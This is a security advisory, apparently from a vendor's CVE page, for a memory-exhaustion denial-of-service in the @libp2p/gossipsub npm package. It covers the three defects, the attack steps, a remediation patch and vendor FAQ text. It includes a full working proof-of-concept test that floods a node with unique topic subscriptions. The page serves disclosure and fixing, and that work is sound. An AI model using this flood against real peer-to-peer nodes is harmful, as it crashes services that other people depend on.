Summary
Three cooperating omissions in @libp2p/gossipsub allow an unauthenticated single peer to exhaust the Node.js heap of any gossipsub node with default options.
defaultDecodeRpcLimits.maxSubscriptions = Infinity(packages/gossipsub/src/message/decodeRpc.ts:11): no decode-level cap on subscription entries per RPC.handleReceivedSubscriptionis unbounded (gossipsub.ts:1009-1021): every unique topic string creates a newMapentry +Setobject inthis.topicswith no per-peer count limit.removePeerleaves empty Sets (gossipsub.ts:782-784): after peer disconnect, empty Sets are never deleted fromthis.topicsthus memory is non-reclaimable within the process lifetime.
A single 4MB LP frame carries 349,525 unique topic SUBSCRIBE entries. Each frame causes ~89MB of heap growth (~22x amplification). A Node.js process with a 1.5GB heap limit crashes after ~17 such frames (~68MB total attacker bandwidth, achievable in ~5 seconds at 100Mbps).
Details
Defect 1: defaultDecodeRpcLimits.maxSubscriptions = Infinity (message/decodeRpc.ts:11)
export const defaultDecodeRpcLimits: DecodeRPCLimits = {
maxSubscriptions: Infinity, // <- no decode-level cap
// ...
}
Passed directly to the protobuf decoder at gossipsub.ts:863. A single RPC may decode 349,525 SUBSCRIBE entries within the 4MB LP frame with no error.
Defect 2: handleReceivedSubscription unbounded growth (gossipsub.ts:1009-1021)
let topicSet = this.topics.get(topic)
if (topicSet == null) {
topicSet = new Set()
this.topics.set(topic, topicSet) // new entry per unique topic, no count guard
}
topicSet.add(from.toString())
this.topics (Map<TopicStr, Set<PeerIdStr>>, gossipsub.ts:141) has no size limit. No per-peer topic count is tracked. No heartbeat evicts unused entries. A comment at gossipsub.ts:960 acknowledges the map is "not bounded by topic count", but only for the allowedTopics != null branch, the default is null.
Defect 3: removePeer memory leak (gossipsub.ts:782-784)
for (const peers of this.topics.values()) {
peers.delete(id)
// empty Set is NOT removed from this.topics
}
After disconnect, this.topics retains N empty Sets, one per unique attacker topic. stop() (lines 575–602) clears 12 data structures but not this.topics. Memory is leaked for the process lifetime.
Secondary: the O(topics.size) synchronous scan in removePeer grows as this.topics accumulates from repeated attacks. After 17 rounds, the scan iterates ~6M entries each time any peer disconnects.
Attack path
- Attacker dials victim and opens a gossipsub stream.
- Score 0 >
gossipThreshold = −10thus subscriptions are processed immediately. No score check gates subscription handling. - Attacker constructs an RPC: 349,525 SUBSCRIBE entries with sequential 6-char topics. Total encoded size: 4.00 MB.
- Victim's
handleReceivedRpccallsrpc.subscriptions.forEach(...)→ 349,525 calls tohandleReceivedSubscription->this.topicsgrows by 349,525 entries -> ~89MB heap consumed -> ~224ms event-loop blocked. - Attacker reconnects. No score decay or penalty applies to subscription RPCs. Repeat.
- After ~17 rounds (68MB attacker bandwidth): Node.js OOM (Out-Of-Memory) crash.
PoC
Steps to reproduce (confirmed unpatched at HEAD 9eb27be79):
$ git clone https://github.com/libp2p/js-libp2p.git
$ cd js-libp2p
$ npm install
$ cd packages/gossipsub
$ npx aegir build
$ node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.js' --timeout 60000
File PoC:
/* eslint-env mocha */
import { stop } from '@libp2p/interface'
import assert from 'node:assert'
import { performance } from 'node:perf_hooks'
import { RPC } from '../src/message/rpc.js'
import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js'
import type { GossipSubAndComponents } from './utils/create-pubsub.js'
// Number of unique topics per attack RPC (for direct injection tests).
// Chosen to demonstrate impact without LP-framing; the ENCODE test shows
// how many actually fit in one 4 MB frame.
const UNIQUE_TOPICS_PER_RPC = 349_000
// Build a protobuf-encoded RPC with N unique SUBSCRIBE entries.
// Uses minimal 2-char topic strings ("00".."zz") to maximise packing.
// SubOpts(subscribe=true, topic=2chars): 2 + (2+2) = 6 bytes per entry.
// Outer RPC field: tag+len ≈ 2 bytes -> ~8 bytes total per subscription.
// 4 MB / 8 bytes ≈ 524K subscriptions per frame.
function buildSubscriptionFloodRpc (count: number): Uint8Array {
const subscriptions = Array.from({ length: count }, (_, i) => ({
subscribe: true,
// Sequential 6-char decimal topics: short but still unique
topic: i.toString().padStart(6, '0')
}))
return RPC.encode({ subscriptions, messages: [], control: undefined })
}
// Binary-search the exact number of unique 6-char topics that fit in 4 MB.
function maxTopicsIn4MB (): number {
const MAX_LP_BYTES = 4 * 1024 * 1024
let lo = 1; let hi = 600_000
while (lo < hi) {
const mid = (lo + hi + 1) >> 1
if (buildSubscriptionFloodRpc(mid).byteLength <= MAX_LP_BYTES) {
lo = mid
} else {
hi = mid - 1
}
}
return lo
}
describe('PoC: Memory DoS via subscription flood of unique topics', function () {
this.timeout(60_000)
let victim: GossipSubAndComponents
let attacker: GossipSubAndComponents
beforeEach(async () => {
;[victim, attacker] = await Promise.all([
createComponents({ init: { allowPublishToZeroTopicPeers: true } }),
createComponents({ init: { allowPublishToZeroTopicPeers: true } })
])
await connectPubsubNodes(victim, attacker)
})
afterEach(async () => {
await stop(
victim.pubsub, attacker.pubsub,
...Object.values(victim.components),
...Object.values(attacker.components)
)
})
it('FLOOD: unique topic subscriptions accumulate unboundedly in this.topics', () => {
const victimPubsub = victim.pubsub as any
const attackerIdStr = attacker.components.peerId.toString()
const topicsBefore = victimPubsub.topics.size as number
const heapBefore = process.memoryUsage().heapUsed
// Simulate one round of subscription flood: inject UNIQUE_TOPICS_PER_RPC
// unique topics directly via handleReceivedSubscription (the exact function
// called synchronously from handleReceivedRpc for each decoded SubOpts entry).
const t0 = performance.now()
for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
victimPubsub.handleReceivedSubscription(
{ toString: () => attackerIdStr } as any,
`poc-sub-flood-${i.toString().padStart(6, '0')}`,
true
)
}
const elapsed = performance.now() - t0
const topicsAfter = victimPubsub.topics.size as number
const heapAfterBytes = process.memoryUsage().heapUsed
const heapGrowthMB = (heapAfterBytes - heapBefore) / (1024 * 1024)
const newTopics = topicsAfter - topicsBefore
console.log(`\n[PoC] Unique topics injected: ${UNIQUE_TOPICS_PER_RPC.toLocaleString()}`)
console.log(`[PoC] this.topics.size: ${topicsBefore} -> ${topicsAfter} (grew by ${newTopics.toLocaleString()})`)
console.log(`[PoC] Heap growth (approx): ${heapGrowthMB.toFixed(0)} MB`)
console.log(`[PoC] Time to process: ${elapsed.toFixed(0)} ms (event-loop blocked)`)
console.log(`[PoC] Amplification: ${(heapGrowthMB / 4).toFixed(1)}x (MB heap per MB of attacker traffic)`)
// All unique topics must be present in the map, no dedup for unique strings
assert.strictEqual(newTopics, UNIQUE_TOPICS_PER_RPC,
`expected this.topics to grow by ${UNIQUE_TOPICS_PER_RPC}, grew by ${newTopics}`)
// Must be non-trivial heap growth
assert.ok(heapGrowthMB > 20,
`expected >20 MB heap growth from ${UNIQUE_TOPICS_PER_RPC} unique topics, got ${heapGrowthMB.toFixed(0)} MB`)
})
it('PERSIST: empty Sets remain in this.topics after peer disconnect (no GC)', () => {
const victimPubsub = victim.pubsub as any
const attackerIdStr = attacker.components.peerId.toString()
// Flood with unique topics
for (let i = 0; i < UNIQUE_TOPICS_PER_RPC; i++) {
victimPubsub.handleReceivedSubscription(
{ toString: () => attackerIdStr } as any,
`poc-persist-${i.toString().padStart(6, '0')}`,
true
)
}
const topicsBeforeDisconnect = victimPubsub.topics.size as number
// Simulate peer disconnect, this removes the peer ID from each Set but
// does NOT delete empty Sets from this.topics.
const tDisconnect = performance.now()
victimPubsub.removePeer(attacker.components.peerId)
const disconnectMs = performance.now() - tDisconnect
const topicsAfterDisconnect = victimPubsub.topics.size as number
console.log(`\n[PoC] this.topics.size before disconnect: ${topicsBeforeDisconnect.toLocaleString()}`)
console.log(`[PoC] this.topics.size after disconnect: ${topicsAfterDisconnect.toLocaleString()}`)
console.log(`[PoC] removePeer() took: ${disconnectMs.toFixed(0)} ms (synchronous O(topics.size) scan)`)
console.log(`[PoC] Empty Sets retained: ${topicsAfterDisconnect.toLocaleString()} -> memory not freed`)
// Topics Map is unchanged in SIZE, empty Sets persist
assert.strictEqual(topicsAfterDisconnect, topicsBeforeDisconnect,
`this.topics.size should be unchanged after disconnect (empty Sets persist); ` +
`was ${topicsBeforeDisconnect}, now ${topicsAfterDisconnect}`)
// removePeer O(N) scan should take non-trivial time with 349K entries
assert.ok(disconnectMs > 5,
`expected removePeer to take >5ms scanning ${topicsBeforeDisconnect} topics, got ${disconnectMs.toFixed(0)} ms`)
// Verify Sets are actually empty (peer removed from each)
let emptyCount = 0
for (const [, peers] of victimPubsub.topics) {
if ((peers as Set<string>).size === 0) emptyCount++
}
assert.ok(emptyCount >= UNIQUE_TOPICS_PER_RPC,
`expected ≥${UNIQUE_TOPICS_PER_RPC} empty Sets after disconnect, found ${emptyCount}`)
})
it('ENCODE: subscription flood RPC fits within 4 MB LP frame: confirms no LP-level protection', function () {
this.timeout(30_000)
const MAX_LP_BYTES = 4 * 1024 * 1024
// Find exact maximum with binary search
const maxCount = maxTopicsIn4MB()
const rpc = buildSubscriptionFloodRpc(maxCount)
const ampRatio = (maxCount * 260 / (1024 * 1024)) / 4
console.log(`\n[PoC] Max subscriptions in 4 MB frame: ${maxCount.toLocaleString()}`)
console.log(`[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`)
console.log(`[PoC] LP frame limit: ${(MAX_LP_BYTES / (1024 * 1024)).toFixed(0)} MB`)
console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`)
console.log(`[PoC] defaultDecodeRpcLimits.maxSubscriptions = Infinity (no decode-level cap)`)
console.log(`[PoC] Heap growth per 4 MB sent: ~${Math.round(maxCount * 260 / (1024 * 1024))} MB (${ampRatio.toFixed(1)}x amplification)`)
assert.ok(rpc.byteLength <= MAX_LP_BYTES,
`crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default, confirms no LP-level protection`)
assert.ok(maxCount > 100_000,
`expected >100K subscriptions per 4 MB frame, got ${maxCount}`)
})
})
Suggested remediation
Delete empty Sets on unsubscribe and disconnect:
// handleReceivedSubscription
} else {
topicSet.delete(from.toString())
if (topicSet.size === 0) this.topics.delete(topic)
}
// removePeer
for (const [topic, peers] of this.topics) {
peers.delete(id)
if (peers.size === 0) this.topics.delete(topic)
}
Clear this.topics in stop():
this.topics.clear()
Impact
- Availability (memory): single peer, ~68MB bandwidth -> OOM crash in ~5s at 100Mbps. Non-recoverable within process lifetime thus memory never freed even if attacker disconnects.
- Availability (CPU): 224ms event-loop block per 4MB subscription RPC (synchronous
forEach); grows with accumulated attack state. - No score mitigation: subscription processing has no score check and no score penalty for flooding.
- Affected deployments: any node running
@libp2p/gossipsubwith default options that accepts inbound connections: Lodestar (Ethereum consensus), IPFS pubsub, anycreateLibp2p({ services: { pubsub: gossipsub() } }). - Partial mitigation only: setting
opts.allowedTopicscaps growth toallowedTopics.sizetopics per attacker; does not fix the memory leak for allowed topics or the O(N)removePeerscan.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2026-46679 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (15.0.23); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-46679? CVE-2026-46679 is a high-severity improper input validation vulnerability in @libp2p/gossipsub (npm), affecting versions <= 15.0.22. It is fixed in 15.0.23. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2026-46679? CVE-2026-46679 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of @libp2p/gossipsub are affected by CVE-2026-46679? @libp2p/gossipsub (npm) versions <= 15.0.22 is affected.
- Is there a fix for CVE-2026-46679? Yes. CVE-2026-46679 is fixed in 15.0.23. Upgrade to this version or later.
- Is CVE-2026-46679 exploitable, and should I be worried? Whether CVE-2026-46679 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-46679 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-46679? Upgrade
@libp2p/gossipsubto 15.0.23 or later.